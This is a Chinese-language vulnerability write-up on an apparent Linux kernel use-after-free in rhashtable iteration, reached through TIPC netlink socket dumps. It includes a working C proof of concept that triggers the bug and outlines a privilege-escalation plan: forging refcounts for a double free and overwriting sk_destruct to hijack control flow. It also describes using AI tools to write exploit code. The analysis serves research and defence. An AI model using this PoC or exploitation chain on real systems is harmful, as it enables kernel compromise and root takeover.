Linux内核漏洞利用之CVE-2026-64563
CVE-2026-64563 是 Linux 内核新近披露的本地权限提升漏洞,因哈希表重置未清空指针导致的释放后使用(UAF)漏洞,本文主要针对该漏洞进行分析以及利用
一、漏洞简介
漏洞编号: CVE-2026-64563
影响版本: v4.18 < Linux Kernel < v7.2
漏洞产品: linux kernel
利用效果: 本地权限提升
二、环境搭建
复现环境:qemu + linux kernel v6.12.67
环境附件: bzImage
复现流程: qemu启动内核后,将exp编译传到vm中(或者编译好重新打包文件系统),gdb下断点到__sk_destruct,运行即可见成功劫持内核程序流
三、漏洞原理
该漏洞的原理比较简单,主要是当哈希表扩容时,没有清空iter->p指针
int rhashtable_walk_start_check(struct rhashtable_iter *iter)
__acquires(RCU)
{
......
if (!iter->walker.tbl) {
iter->walker.tbl = rht_dereference_rcu(ht->tbl, ht);
iter->slot = 0;
iter->skip = 0;//没有清空iter->p指针
return -EAGAIN;
}
......
}导致后续遍历哈希表时对已经失效的iter->p指针进行解引用造成uaf
void *rhashtable_walk_next(struct rhashtable_iter *iter)
{
struct rhlist_head *list = iter->list;
struct rhashtable *ht = iter->ht;
struct rhash_head *p = iter->p;
bool rhlist = ht->rhlist;
if (p) {
if (!rhlist || !(list = rcu_dereference(list->next))) {
p = rcu_dereference(p->next);
list = container_of(p, struct rhlist_head, rhead);
}
if (!rht_is_a_nulls(p)) {
iter->skip++;
iter->p = p;
iter->list = list;
return rht_obj(ht, rhlist ? &list->rhead : p);
}
/* At the end of this slot, switch to next one and then find
* next entry from that point.
*/
iter->skip = 0;
iter->slot++;
}
return __rhashtable_walk_find_next(iter);
}
四、POC构造
首先需要明确的是,该漏洞并不是源于某一个具体的子系统的代码,而是一个代码库出的漏洞。所以要进行分析首先选定调用漏洞代码的功能,而根据该漏洞的patch的提示,常用的有__netlink_diag_dump和tipc_nl_sk_walk
这里作者选择的是tipc_nl_sk_walk
int tipc_nl_sk_walk(struct sk_buff *skb, struct netlink_callback *cb,
int (*skb_handler)(struct sk_buff *skb,
struct netlink_callback *cb,
struct tipc_sock *tsk))
{
struct rhashtable_iter *iter = (void *)cb->args[4];
struct tipc_sock *tsk;
int err;
rhashtable_walk_start(iter);
while ((tsk = rhashtable_walk_next(iter)) != NULL) {
if (IS_ERR(tsk)) {
if (PTR_ERR(tsk) == -EAGAIN)
continue;
break;
}
sock_hold(&tsk->sk);
rhashtable_walk_stop(iter);
lock_sock(&tsk->sk);
err = skb_handler(skb, cb, tsk);
if (err) {
release_sock(&tsk->sk);
sock_put(&tsk->sk);
goto out;
}
release_sock(&tsk->sk);
rhashtable_walk_start(iter);
sock_put(&tsk->sk);
}
rhashtable_walk_stop(iter);
out:
return skb->len;
}接下来作者分享一下快速写出一个漏洞的poc的通用思路
4.1 基本交互程序生成
首先我们是不太可能对所有的软件、系统的所有功能都了解怎么去交互,这时候ai的优势就很大了,那么第一步就是,将你想访问到的代码段投喂给ai,然后让它生成一个基本交互程序,形如:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/genetlink.h>
#include <errno.h>
#include <stdint.h>
static inline void *attr_data(struct nlattr *attr)
{
return (char *)attr + NLA_HDRLEN;
}
#define NLA_OK(nla, rem) ((rem) >= (int)sizeof(struct nlattr) && \
(nla)->nla_len >= sizeof(struct nlattr) && \
(nla)->nla_len <= (rem))
#define NLA_NEXT(nla, rem) ({ \
struct nlattr *__next = (struct nlattr *)(((char *)(nla)) + NLA_ALIGN((nla)->nla_len)); \
rem -= NLA_ALIGN((nla)->nla_len); \
__next; \
})
enum {
TIPC_NL_UNSPEC,
TIPC_NL_NODE_GET,
TIPC_NL_LINK_GET,
TIPC_NL_SOCK_GET,
TIPC_NL_PEER_GET,
TIPC_NL_NAME_TABLE_GET,
TIPC_NL_MEDIA_GET,
TIPC_NL_UDP_GET,
__TIPC_NL_CMD_MAX
};
#define NETLINK_BUF_LEN 4096
static uint16_t tipc_family_id = 0;
static int nl_socket_create(void)
{
int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (fd < 0) {
perror("socket");
return -1;
}
struct sockaddr_nl sa = {0};
sa.nl_family = AF_NETLINK;
sa.nl_pid = getpid();
if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
perror("bind");
close(fd);
return -1;
}
return fd;
}
static struct nlattr *nla_put(struct nlmsghdr *nlh, int type, int len, const void *data)
{
struct nlattr *attr = (struct nlattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));
attr->nla_type = type;
attr->nla_len = NLA_HDRLEN + len;
memcpy(attr_data(attr), data, len);
nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + NLA_ALIGN(attr->nla_len);
return attr;
}
static int genl_resolve_family(int fd, const char *family_name, uint16_t *out_family_id)
{
char buf[NETLINK_BUF_LEN];
memset(buf, 0, sizeof(buf));
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
struct genlmsghdr *genlh;
nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
nlh->nlmsg_type = GENL_ID_CTRL;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_seq = 1;
nlh->nlmsg_pid = getpid();
genlh = (struct genlmsghdr *)NLMSG_DATA(nlh);
genlh->cmd = CTRL_CMD_GETFAMILY;
genlh->version = 1;
genlh->reserved = 0;
nla_put(nlh, CTRL_ATTR_FAMILY_NAME, strlen(family_name)+1, family_name);
struct sockaddr_nl dst = {0};
dst.nl_family = AF_NETLINK;
dst.nl_pid = 0;
if (sendto(fd, buf, nlh->nlmsg_len, 0, (struct sockaddr *)&dst, sizeof(dst)) < 0) {
perror("sendto");
return -1;
}
struct msghdr msg = {0};
struct iovec iov = {.iov_base = buf, .iov_len = sizeof(buf)};
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
ssize_t rlen = recvmsg(fd, &msg, 0);
if (rlen < 0) {
perror("recvmsg");
return -1;
}
for (; NLMSG_OK(nlh, rlen); nlh = NLMSG_NEXT(nlh, rlen)) {
if (nlh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *err = NLMSG_DATA(nlh);
if(err->error)
fprintf(stderr,"[CTRL] Error: %s\n",strerror(-err->error));
continue;
}
if (nlh->nlmsg_type == NLMSG_DONE)
continue;
genlh = (struct genlmsghdr *)NLMSG_DATA(nlh);
struct nlattr *attr = (struct nlattr *)((char *)genlh + GENL_HDRLEN);
int rem = nlh->nlmsg_len - NLMSG_HDRLEN - GENL_HDRLEN;
for (; NLA_OK(attr, rem); attr = NLA_NEXT(attr, rem)) {
if (attr->nla_type == CTRL_ATTR_FAMILY_ID) {
*out_family_id = *(uint16_t *)attr_data(attr);
return 0;
}
}
}
fprintf(stderr, "Cannot resolve genl family: %s\n", family_name);
return -ENOENT;
}
static void dump_attr(struct nlattr *attr, int rem)
{
for (; NLA_OK(attr, rem); attr = NLA_NEXT(attr, rem)) {
}
}
static int send_tipc_sock_dump(int fd)
{
char buf[NETLINK_BUF_LEN];
memset(buf, 0, sizeof(buf));
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
struct genlmsghdr *genlh;
const uint32_t seq = 2;
nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
nlh->nlmsg_type = tipc_family_id;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP;
nlh->nlmsg_seq = seq;
nlh->nlmsg_pid = getpid();
genlh = (struct genlmsghdr *)NLMSG_DATA(nlh);
genlh->cmd = TIPC_NL_SOCK_GET;
genlh->version = 1;
genlh->reserved = 0;
struct sockaddr_nl dst = {0};
dst.nl_family = AF_NETLINK;
dst.nl_pid = 0;
if (sendto(fd, buf, nlh->nlmsg_len, 0, (struct sockaddr *)&dst, sizeof(dst)) < 0) {
perror("sendto dump req");
return -1;
}
int found_dump_data = 0;
while (1) {
char recvbuf[NETLINK_BUF_LEN];
struct msghdr msg = {0};
struct iovec iov = {.iov_base = recvbuf, .iov_len = sizeof(recvbuf)};
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
ssize_t rlen = recvmsg(fd, &msg, 0);
if (rlen <= 0) {
break;
}
struct nlmsghdr *rx_nlh = (struct nlmsghdr *)recvbuf;
for (; NLMSG_OK(rx_nlh, rlen); rx_nlh = NLMSG_NEXT(rx_nlh, rlen)) {
if (rx_nlh->nlmsg_seq != seq) {
continue;
}
if (rx_nlh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(rx_nlh);
fprintf(stderr, "[NLMSG_ERROR] errno=%d, strerr: %s\n",
-err->error, strerror(-err->error));
if (err->error != 0) {
return -err->error;
} else {
continue;
}
}
if (rx_nlh->nlmsg_flags & NLM_F_DUMP_INTR)
fprintf(stderr, "Dump interrupted flag set\n");
if (rx_nlh->nlmsg_type == NLMSG_DONE) {
if (!found_dump_data) {
fprintf(stderr, "No socket entry returned!\n");
return -ENODATA;
}
return 0;
}
found_dump_data = 1;
struct genlmsghdr *rx_genlh = (struct genlmsghdr *)NLMSG_DATA(rx_nlh);
struct nlattr *attr = (struct nlattr *)((char *)rx_genlh + GENL_HDRLEN);
int rem = rx_nlh->nlmsg_len - NLMSG_HDRLEN - GENL_HDRLEN;
dump_attr(attr, rem);
}
}
if (!found_dump_data) {
fprintf(stderr, "No dump data, stream terminated early\n");
return -ENODATA;
}
return 0;
}
int main(void)
{
int fd = nl_socket_create();
if (fd < 0)
return 1;
if (genl_resolve_family(fd, "TIPC", &tipc_family_id) < 0) {
close(fd);
return 1;
}
int ret = send_tipc_sock_dump(fd);
if (ret < 0) {
fprintf(stderr, "send_tipc_sock_dump return %d\n", ret);
close(fd);
return 1;
}
close(fd);
return 0;
}4.2 运行错误排查
一般比较强的ai生成的代码不会怎么出现编译错误(编译都有问题反复拷打几遍就好了,最终生成一个至少是能编译成功的程序),但是肯定会出现运行错误,因为市面上的ai不会针对某一项东西专门训练,训练的不够,在一些细节上的处理就很一般(最典型的就是netlink报文的构造),所以需要人工进行排查,然后投喂出现错误的代码段给ai即可解决
通常排查的思路是什么呢?首先就是用perror输出错误的地方,这时候就比较痛苦了,以一个系统调用为例,比如说send,就需要在内核处理send系统调用的地方下断点,然后一步步跟进函数调用,观察是哪里返回的错误(一般耗时特别高,解决这问题要反复调试,大概是在一两个小时[调用链很长就得反复测试很久才能确定错误具体是哪里函数返回的])
这里以Linux内核为例,分享一个能比较快定位到运行错误的方法,首先执行strace(也可以选择在程序内执行perror),确定错误类型
然后执行这段脚本(原理是通过ftrace获取内核函数调用细节)
#!/bin/bash
TRACE_DIR="/sys/kernel/debug/tracing"
[ ! -d "$TRACE_DIR" ] && mount -t tracefs nodev /sys/kernel/debug
echo 0 > "$TRACE_DIR/tracing_on"
echo nop > "$TRACE_DIR/current_tracer"
echo > "$TRACE_DIR/set_ftrace_filter"
echo > "$TRACE_DIR/set_ftrace_pid"
echo > "$TRACE_DIR/set_graph_function"
[ -f "$TRACE_DIR/options/funcgraph-retval" ] && echo 1 > "$TRACE_DIR/options/funcgraph-retval"
echo function_graph > "$TRACE_DIR/current_tracer"
(
echo $BASHPID > "$TRACE_DIR/set_ftrace_pid"
echo 1 > "$TRACE_DIR/tracing_on"
exec /exp
) &
CHILD_PID=$!
wait $CHILD_PID
echo 0 > "$TRACE_DIR/tracing_on"
cat "$TRACE_DIR/trace" > /tmp/trace.txt最后在生成的结果中查找返回的错误值即可,可见EINVAL这个错误是genl_rcv_msg函数返回的
gdb调试在genl_rcv_msg下断点,然后往下运行就能看到错误发生的地方了(注:错误是第二次执行genl_rcv_msg触发的)
在解决完EINVAL错误之后又抛出了一个EOPNOTSUPP,经过分析最终发现TIPC有两个版本(系统执行命令genl ctrl list可见),另一个版本才是支持dump操作的
所以最终的基础交互程序则如下:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/genetlink.h>
#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
#define TIPC_GENL_V2_NAME "TIPCv2"
#define TIPC_NL_SOCK_GET 6
struct req_msg {
struct nlmsghdr n;
struct genlmsghdr g;
char buf[256];
};
int get_family_id(int fd, const char *family_name) {
struct req_msg req;
char ans[1024];
memset(&req, 0, sizeof(req));
req.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
req.n.nlmsg_flags = NLM_F_REQUEST;
req.n.nlmsg_type = GENL_ID_CTRL;
req.g.cmd = CTRL_CMD_GETFAMILY;
req.g.version = 2;
struct nlattr *na = (struct nlattr *)GENLMSG_DATA(&req);
na->nla_type = CTRL_ATTR_FAMILY_NAME;
na->nla_len = strlen(family_name) + 1 + NLA_HDRLEN;
strcpy((char *)na + NLA_HDRLEN, family_name);
req.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
if (send(fd, &req, req.n.nlmsg_len, 0) < 0) {
perror("send");
return -1;
}
int rep_len = recv(fd, ans, sizeof(ans), 0);
if (rep_len < 0) {
perror("recv");
return -1;
}
struct nlmsghdr *nlh = (struct nlmsghdr *)ans;
if (nlh->nlmsg_type == NLMSG_ERROR) {
fprintf(stderr, "Error resolving family\n");
return -1;
}
struct genlmsghdr *ghdr = NLMSG_DATA(nlh);
struct nlattr *attrs = (struct nlattr *)((char *)ghdr + GENL_HDRLEN);
int len = nlh->nlmsg_len - NLMSG_LENGTH(GENL_HDRLEN);
while (len >= (int)sizeof(struct nlattr)) {
if (attrs->nla_type == CTRL_ATTR_FAMILY_ID) {
return *(unsigned short *)((char *)attrs + NLA_HDRLEN);
}
int aligned_len = NLA_ALIGN(attrs->nla_len);
len -= aligned_len;
attrs = (struct nlattr *)((char *)attrs + aligned_len);
}
return -1;
}
int main() {
int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (fd < 0) {
perror("socket");
return -1;
}
int family_id = get_family_id(fd, TIPC_GENL_V2_NAME);
if (family_id < 0) {
fprintf(stderr, "Failed to resolve TIPCv2 family ID. Is tipc module loaded?\n");
close(fd);
return -1;
}
printf("[+] Resolved TIPCv2 Family ID: %d (0x%x)\n", family_id, family_id);
struct req_msg req;
memset(&req, 0, sizeof(req));
req.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
req.n.nlmsg_type = family_id;
req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP;
req.g.cmd = TIPC_NL_SOCK_GET;
req.g.version = 1;
printf("[+] Sending TIPC_NL_SOCK_GET dump request...\n");
if (send(fd, &req, req.n.nlmsg_len, 0) < 0) {
perror("send dump");
close(fd);
return -1;
}
char buf[4096];
while (1) {
int len = recv(fd, buf, sizeof(buf), 0);
if (len < 0) {
perror("recv dump");
break;
}
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
if (nlh->nlmsg_type == NLMSG_DONE) {
printf("[+] Dump complete!\n");
break;
}
if (nlh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(nlh);
fprintf(stderr, "[-] Netlink Error: %d\n", err->error);
break;
}
printf("[+] Received data packet, size: %d bytes\n", len);
break;
}
close(fd);
return 0;
}4.3 漏洞细节分析
首先需要明确的是,前面所有操作都是为了能和出现漏洞的功能进行交互(说白了就是在漏洞代码段下个断点,程序执行时能触发到断点,说明写的程序已经初步能访问到漏洞路径了)
接下来就是对漏洞细节的分析(也就是分析怎么构造payload能触发漏洞),而对于一个uaf漏洞来说,主要关注的是漏洞对象的生命周期(也就是分配、释放、重用),首先需要知道iter->p这条指针指向的内存到底是什么
这里解析出来的slab可能有点问题,但是object大小,以及该指针和object基址的偏移是能解析出来的,结合相关代码分析或者拷打ai能得到答案,也就是tipc_sock结构体,偏移920(即0x398)的结构体成员对应上了
gdb调试也能证明这一点
这里作者一时间有些迷惑,因为对tipc完全不了解,作者就在想,这个iter->p怎么就是tipc_sock呢?要知道我们进行的dump操作就是走tipc的,如果tipc_sock都释放了还怎么走到漏洞路径,但最终发现混淆了一个概念:
进行dump操作的socket走的是通用netlink,只是用TIPCv2这个family,而哈希表中存储的指针是来源于tipc套接字,也就是tipc_sk_create分配内存然后存入哈希表
static int tipc_sk_create(struct net *net, struct socket *sock,
int protocol, int kern)
{
......
/* Allocate socket's protocol area */
sk = sk_alloc(net, AF_TIPC, GFP_KERNEL, &tipc_proto, kern);//分配内存
if (sk == NULL)
return -ENOMEM;
......
if (tipc_sk_insert(tsk)) {//插入到哈希表中
sk_free(sk);
pr_warn("Socket create failed; port number exhausted\n");
return -EINVAL;
}
......
}也就是说,需要使用两种socket,AF_NETLINK负责访问漏洞路径(也就是进行dump操作),AF_TIPC负责分配释放漏洞对象(也就是tipc_sock)
解决了漏洞对象的问题就得看具体的漏洞逻辑了,回想一下漏洞原理,那么不难想到,整条漏洞链大致如下:
- 释放tipc_sock并触发哈希表扩容
- 触发rhashtable_walk_start,使得其忽略iter->p指针的清除
- 触发rhashtable_walk_next,对iter->p指针进行解引用(触发uaf读)
观察下面这段代码,是一个循环结构,而rhashtable_walk_next和rhashtable_walk_start之间有一个lock_sock获取锁的操作,那么通过阻塞线程的方式(如果有其它线程已经获取锁,那么该线程会等待锁被释放,然后获取锁才往下执行,而另一个线程获取锁之后访问用户态内存可以通过fallocate阻塞[类似于userfaultfd但该手法仍可用]),使得在运行期间完成步骤1(即释放tipc_sock并触发哈希表扩容),后面继续往下执行不就成功触发漏洞了?
int tipc_nl_sk_walk(struct sk_buff *skb, struct netlink_callback *cb,
int (*skb_handler)(struct sk_buff *skb,
struct netlink_callback *cb,
struct tipc_sock *tsk))
{
struct rhashtable_iter *iter = (void *)cb->args[4];
struct tipc_sock *tsk;
int err;
rhashtable_walk_start(iter);
while ((tsk = rhashtable_walk_next(iter)) != NULL) {
if (IS_ERR(tsk)) {
if (PTR_ERR(tsk) == -EAGAIN)
continue;
break;
}
sock_hold(&tsk->sk);
rhashtable_walk_stop(iter);
lock_sock(&tsk->sk);
err = skb_handler(skb, cb, tsk);
if (err) {
release_sock(&tsk->sk);
sock_put(&tsk->sk);
goto out;
}
release_sock(&tsk->sk);
rhashtable_walk_start(iter);
sock_put(&tsk->sk);
}
rhashtable_walk_stop(iter);
out:
return skb->len;
}但是想了很久,发现比较难实现,那么该如何做呢?作者留意到这段代码的逻辑
这个skb_handler主要是触发__tipc_nl_add_sk函数,而该函数的主要功能是将tipc_sock的一些信息存入到skb数据包中,当skb装满之后会返回非0值,也就是触发上面这段代码逻辑
static int __tipc_nl_add_sk(struct sk_buff *skb, struct netlink_callback *cb,
struct tipc_sock *tsk)
{
struct nlattr *attrs;
void *hdr;
hdr = genlmsg_put(skb, NETLINK_CB(cb->skb).portid, cb->nlh->nlmsg_seq,
&tipc_genl_family, NLM_F_MULTI, TIPC_NL_SOCK_GET);
if (!hdr)
goto msg_cancel;
attrs = nla_nest_start_noflag(skb, TIPC_NLA_SOCK);
if (!attrs)
goto genlmsg_cancel;
if (__tipc_nl_add_sk_info(skb, tsk))
goto attr_msg_cancel;
nla_nest_end(skb, attrs);
genlmsg_end(skb, hdr);
return 0;
attr_msg_cancel:
nla_nest_cancel(skb, attrs);
genlmsg_cancel:
genlmsg_cancel(skb, hdr);
msg_cancel:
return -EMSGSIZE;
}而rhashtable_iter的释放时机(关注它是因为它是iter->p这条uaf指针的载体)则是在dump彻底完成时
int tipc_dump_done(struct netlink_callback *cb)
{
struct rhashtable_iter *hti = (void *)cb->args[4];
rhashtable_walk_exit(hti);
kfree(hti);
return 0;
}而在netlink_dump中,当cb->dump(也就是tipc_nl_sk_walk)返回非0值时,直接发包return退出函数执行了,跳过了后面的cb->done(也就是tipc_dump_done)
static int netlink_dump(struct sock *sk, bool lock_taken)
{
......
if (nlk->dump_done_errno > 0) {
cb->extack = &extack;
nlk->dump_done_errno = cb->dump(skb, cb);
if (nlk->dump_done_errno == -EMSGSIZE && skb->len)
nlk->dump_done_errno = skb->len;
cb->extack = NULL;
}
if (nlk->dump_done_errno > 0 ||
skb_tailroom(skb) < nlmsg_total_size(sizeof(nlk->dump_done_errno))) {
mutex_unlock(&nlk->nl_cb_mutex);
if (sk_filter(sk, skb))
kfree_skb(skb);
else
__netlink_sendskb(sk, skb);
return 0;
}
......
if (cb->done)
cb->done(cb);
......
}也就是说,当skb数据包被填满返回非零值时,函数提前返回,rhashtable_iter结构体并不会释放
那么不难想到,触发漏洞的逻辑则如下:
- 触发tipc_nl_sk_walk,并触发提前退出逻辑
- 释放tipc_sock,并触发哈希表扩容
- 再次触发tipc_nl_sk_walk(此时tipc_sock已然被释放,但是执行rhashtable_walk_start并没有清空iter->p指针,继续往下执行rhashtable_walk_next就会触发uaf)
成功触发内核报错(使用的内核没有开启kasan,但是会有引用计数报错[不同于kasan百分百报错,这是概率性事件,后续进行利用分析时会提到],因为iter->p解引用出来的tipc_sock已经被释放,也就是引用计数归零,后续进行add操作时会触发检测)
完整poc:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/genetlink.h>
#ifndef AF_TIPC
#define AF_TIPC 30
#endif
#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
#define TIPC_GENL_V2_NAME "TIPCv2"
#define TIPC_NL_SOCK_GET 6
#define MAX_TIPC_SOCKETS 200
#define FIRST_BATCH 150
#define SECOND_BATCH (MAX_TIPC_SOCKETS - FIRST_BATCH)
struct req_msg {
struct nlmsghdr n;
struct genlmsghdr g;
char buf[256];
};
int get_family_id(int fd, const char *family_name) {
struct req_msg req;
char ans[2048];
memset(&req, 0, sizeof(req));
req.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
req.n.nlmsg_flags = NLM_F_REQUEST;
req.n.nlmsg_type = GENL_ID_CTRL;
req.g.cmd = CTRL_CMD_GETFAMILY;
req.g.version = 2;
struct nlattr *na = (struct nlattr *)GENLMSG_DATA(&req);
na->nla_type = CTRL_ATTR_FAMILY_NAME;
na->nla_len = strlen(family_name) + 1 + NLA_HDRLEN;
strcpy((char *)na + NLA_HDRLEN, family_name);
req.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
if (send(fd, &req, req.n.nlmsg_len, 0) < 0) {
perror("send");
return -1;
}
int rep_len = recv(fd, ans, sizeof(ans), 0);
if (rep_len < 0) {
perror("recv");
return -1;
}
struct nlmsghdr *nlh = (struct nlmsghdr *)ans;
if (nlh->nlmsg_type == NLMSG_ERROR) {
return -1;
}
struct genlmsghdr *ghdr = NLMSG_DATA(nlh);
struct nlattr *attrs = (struct nlattr *)((char *)ghdr + GENL_HDRLEN);
int len = nlh->nlmsg_len - NLMSG_LENGTH(GENL_HDRLEN);
while (len >= (int)sizeof(struct nlattr)) {
if (attrs->nla_type == CTRL_ATTR_FAMILY_ID) {
return *(unsigned short *)((char *)attrs + NLA_HDRLEN);
}
int aligned_len = NLA_ALIGN(attrs->nla_len);
len -= aligned_len;
attrs = (struct nlattr *)((char *)attrs + aligned_len);
}
return -1;
}
int main() {
int tipc_fds[MAX_TIPC_SOCKETS];
int created_count = 0;
for (int i = 0; i < FIRST_BATCH; i++) {
tipc_fds[i] = socket(AF_TIPC, SOCK_DGRAM, 0);
if (tipc_fds[i] < 0) {
perror("Failed to create TIPC socket (Is tipc module loaded?)");
for (int j = 0; j < created_count; j++) close(tipc_fds[j]);
return -1;
}
created_count++;
}
int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (fd < 0) {
perror("socket AF_NETLINK");
}
int family_id = get_family_id(fd, TIPC_GENL_V2_NAME);
if (family_id < 0) {
close(fd);
}
struct req_msg req;
memset(&req, 0, sizeof(req));
req.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
req.n.nlmsg_type = family_id;
req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP;
req.g.cmd = TIPC_NL_SOCK_GET;
req.g.version = 1;
if (send(fd, &req, req.n.nlmsg_len, 0) < 0) {
perror("send dump");
close(fd);
}
for (int i = FIRST_BATCH; i < MAX_TIPC_SOCKETS; i++) {
tipc_fds[i] = socket(AF_TIPC, SOCK_DGRAM, 0);//触发哈希表扩容
if (tipc_fds[i] < 0) {
perror("Failed to create remaining TIPC socket");
for (int j = 0; j < created_count; j++) close(tipc_fds[j]);
return -1;
}
created_count++;
}
sleep(1);
for (int i = 0; i < created_count; i++) {
close(tipc_fds[i]);//释放tipc_sock
}
sleep(1);
char buf[10];
int len = recv(fd, buf, sizeof(buf), 0);
if (len < 0) {
perror("recv dump failed");
}
close(fd);
return 0;
}
五、漏洞利用分析
既然uaf指针是iter->p,那么最关键的就是kernel都拿这条指针做什么,事实上比较简单,就是对它进行解引用,如果是一个有效指针则返回,否则就从哈希表下一个slot取值
void *rhashtable_walk_next(struct rhashtable_iter *iter)
{
struct rhlist_head *list = iter->list;
struct rhashtable *ht = iter->ht;
struct rhash_head *p = iter->p;
bool rhlist = ht->rhlist;
if (p) {
if (!rhlist || !(list = rcu_dereference(list->next))) {
p = rcu_dereference(p->next);
list = container_of(p, struct rhlist_head, rhead);
}
if (!rht_is_a_nulls(p)) {
iter->skip++;
iter->p = p;
iter->list = list;
return rht_obj(ht, rhlist ? &list->rhead : p);
}
/* At the end of this slot, switch to next one and then find
* next entry from that point.
*/
iter->skip = 0;
iter->slot++;
}
return __rhashtable_walk_find_next(iter);
}这个就比较耐人寻味了,而前面提到的引用计数错误就与之相关,何为?
下断点到0xffffffff822f0167(第二次触发),此时iter->p解引用得到的正是一个tipc_sock(在poc中我们释放了所有的tipc_sock,所以此时是释放状态引用计数为0,而后续执行的sock_hold在增加引用计数之前会做检测,引用计数为0触发检测)
那么我们就有两种复用内存的方式:
- 直接复用iter->p指向的内存,然后伪造解引用得到的指针,使其指向受我们控制的内存(使用该方式需要泄露payload写入的地址)
- 复用iter->p解引用的内存(使用该方式无需泄露,但机会比较渺茫,因为iter->p解引用是一个有效地址的情况是哈希冲突,要赌概率)
暂且先不看选择哪种方式复用内存,先看一下后续的利用细节,观察这段代码,对漏洞对象(tipc_sock)进行的操作其实屈指可数,主要就三个:
- 获取/释放线程锁
- 读取tipc_sock一些字段
- 增加/减少引用计数
int tipc_nl_sk_walk(struct sk_buff *skb, struct netlink_callback *cb,
int (*skb_handler)(struct sk_buff *skb,
struct netlink_callback *cb,
struct tipc_sock *tsk))
{
struct rhashtable_iter *iter = (void *)cb->args[4];
struct tipc_sock *tsk;
int err;
rhashtable_walk_start(iter);
while ((tsk = rhashtable_walk_next(iter)) != NULL) {
if (IS_ERR(tsk)) {
if (PTR_ERR(tsk) == -EAGAIN)
continue;
break;
}
sock_hold(&tsk->sk);
rhashtable_walk_stop(iter);
lock_sock(&tsk->sk);
err = skb_handler(skb, cb, tsk);
if (err) {
release_sock(&tsk->sk);
sock_put(&tsk->sk);
goto out;
}
release_sock(&tsk->sk);
rhashtable_walk_start(iter);
sock_put(&tsk->sk);
}
rhashtable_walk_stop(iter);
out:
return skb->len;
}这就很令人费解了,针对漏洞对象进行写操作的只有1和3,但是写入的数据是有限的,并且整套流程下来约等于没写,有什么用呢?
作者一开始能想到的就是,进行竞态,在写入之后阻塞线程进行操作,但是有一个问题,tipc_sock已经释放了,根本就无法通过获取线程锁阻塞,这似乎不是一个好的办法
在实验中看到poc触发了引用计数错误,作者联想到这么一种利用方式,为何不伪造引用计数?复用内存时伪造成1,然后kernel增加到2,此时在减少引用计数之前恢复成1,最终就能实现double free了。但是怎么完成竞态呢?
作者在分析以及测试lock_sock获取锁的时候发现这里是两层锁
void lock_sock_nested(struct sock *sk, int subclass)
{
/* The sk_lock has mutex_lock() semantics here. */
mutex_acquire(&sk->sk_lock.dep_map, subclass, 0, _RET_IP_);
might_sleep();
spin_lock_bh(&sk->sk_lock.slock);
if (sock_owned_by_user_nocheck(sk))
__lock_sock(sk);
sk->sk_lock.owned = 1;
spin_unlock_bh(&sk->sk_lock.slock);
}这两层锁分别对应两种唤醒方式:
- 第一层锁(自旋锁)线程会忙等待,等待locked字段归0表示未锁定状态,即可获取锁
- 第二层锁会让出cpu调度,等待其它线程释放锁时唤醒
那么也就对应两种利用方式:
- 阻塞第一层锁的获取,然后修改内存后放行
- 阻塞第二层锁的获取,线程让出cpu调度(差不多就是放弃该线程),使得内存的临时修改变成永久修改(因为该线程不会再往下执行)
这里不难想到,利用链则有:
- 将ref_cnt和locked设置为1(此时ref_cnt被递增到2,但线程阻塞成功)
- 将ref_cnt重置为1,locked设置为0(放行线程执行后续的递减ref_cnt至0,触发释放)
触发sock的释放有什么用呢?这里有两种选择:
- 走dataonly的通用exploit,分配一块内存复用sock,这里会将那块内存进行释放,再分配即可完成对该内存的完全控制
- 走ROP方式的exploit(本文用的是这种,后续如果弄出通用版本的exploit作者会上传到GitHub共享出来)
sk_free有这么一条调用链:
sk_free -> __sk_free -> sk_destruct -> __sk_destruct
而在__sk_destruct函数中有这么一段代码,如果sk->sk_destruct回调存在则执行,那么不难想到,可以将一条gadget的地址写入到sk->sk_destruct中,即可劫持内核的程序流
static void __sk_destruct(struct rcu_head *head)
{
struct sock *sk = container_of(head, struct sock, sk_rcu);
struct net *net = sock_net(sk);
struct sk_filter *filter;
if (sk->sk_destruct)
sk->sk_destruct(sk);
......
}六、利用过程
明确了利用的思路就得考虑一个比较现实的问题了,该用哪种复用内存的方式呢?似乎各有优劣
